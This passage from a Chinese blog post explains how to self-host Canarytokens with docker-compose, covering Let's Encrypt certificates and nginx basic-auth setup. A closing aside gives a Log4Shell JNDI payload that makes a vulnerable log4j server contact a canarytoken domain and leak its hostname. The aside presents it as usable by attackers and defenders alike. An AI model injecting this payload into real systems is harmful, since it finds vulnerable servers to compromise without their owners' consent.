# 或多个域名的这个不同的键(如果你这样做,就把上面的MY_DOMAIN_NAME注释掉)。
# MY_DOMAIN_NAMES=example.com anotherexample.net thirdexample.org

[email protected]
  • 现在,当你想启动你的服务器时,你将使用docker-compose -f docker-compose-letsencrypt.yml up它在前台运行服务器,这样你就可以确保一切正常启动。
  • 如果一切都在运行,您可能需要 CTRL+C,运行docker-compose -f docker-compose-letsencrypt.yml down以重新开始,然后重新运行docker-compose -f docker-compose-letsencrypt.yml up -d添加-d的内容以在后台运行服务器(以守护程序模式)
  • 请记住,使用 HTTPS 方法将使用您指定的电子邮件和域名来注册证书。您可以在此处阅读有关 let’s encrypt 过程(使用 cerbot)的信息。该过程涉及验证您是否是您指定的域的所有者,并使用 let’s encrypt 注册您。
  • 有一个速率限制。因此,不要一直启动和关闭此服务器,否则您将很快达到 let’s encrypt 证书生成限制。为避免这种情况,出于测试目的,您可以添加命令以--staging测试let’s encrypt 是否为您提供证书。./certbot-autocerbot-nginx/start.sh

为您的 Canarytokens 站点启用基本身份验证

如果您希望拥有一个面向公众的 canarytokens 网站,但需要一些基本的授权才能访问它,您可以按照这些步骤操作。

  1. git clone https://github.com/thinkst/canarytokens-docker.git
  2. cd canarytokens-docker/nginx或者如果您打算使用 HTTPS,cd canarytokens-docker/certbot-nginx
  3. sudo htpasswd -c .htpasswd user哪里user可以是你想使用的任何用户名。
  4. sudo chown <user>:<user> .htpasswduser本地linux用户在哪里
  5. 适当的编辑nginx.conf
server {
    ...
    location ~* (/generate|/manage|/download|/history|/settings|/resources|/legal).* {
        auth_basic           "Basic Auth Restricted Canrytokens"; <---- ADD
        auth_basic_user_file /etc/nginx/.htpasswd;                 <---- ADD
  1. 适当的编辑Dockerfile并在下面添加COPY nginx.conf ...
COPY .htpasswd /etc/nginx/.htpasswd
  1. 使用 重建镜像docker-compose build,重新启动 docker 容器,然后尽情享受吧!

题外话

当然,也可以使用来测试log4j漏洞,攻击者和防守方都可以使用.

${jndi:ldap://x${hostName}.L4J.xxx.canarytokens.com/a}

如果日志行被易受攻击的 log4j 库使用,它将生成关于此标记的警报。

如果这有效,您还将获得易受攻击的服务器的主机名。

当然,如果作为攻击者,下一步服务器就会被入侵.
如果作为防守方,请立即下线系统并修复漏洞.

转载请注明出处及链接

Leave a Reply

您的邮箱地址不会被公开。 必填项已用 * 标注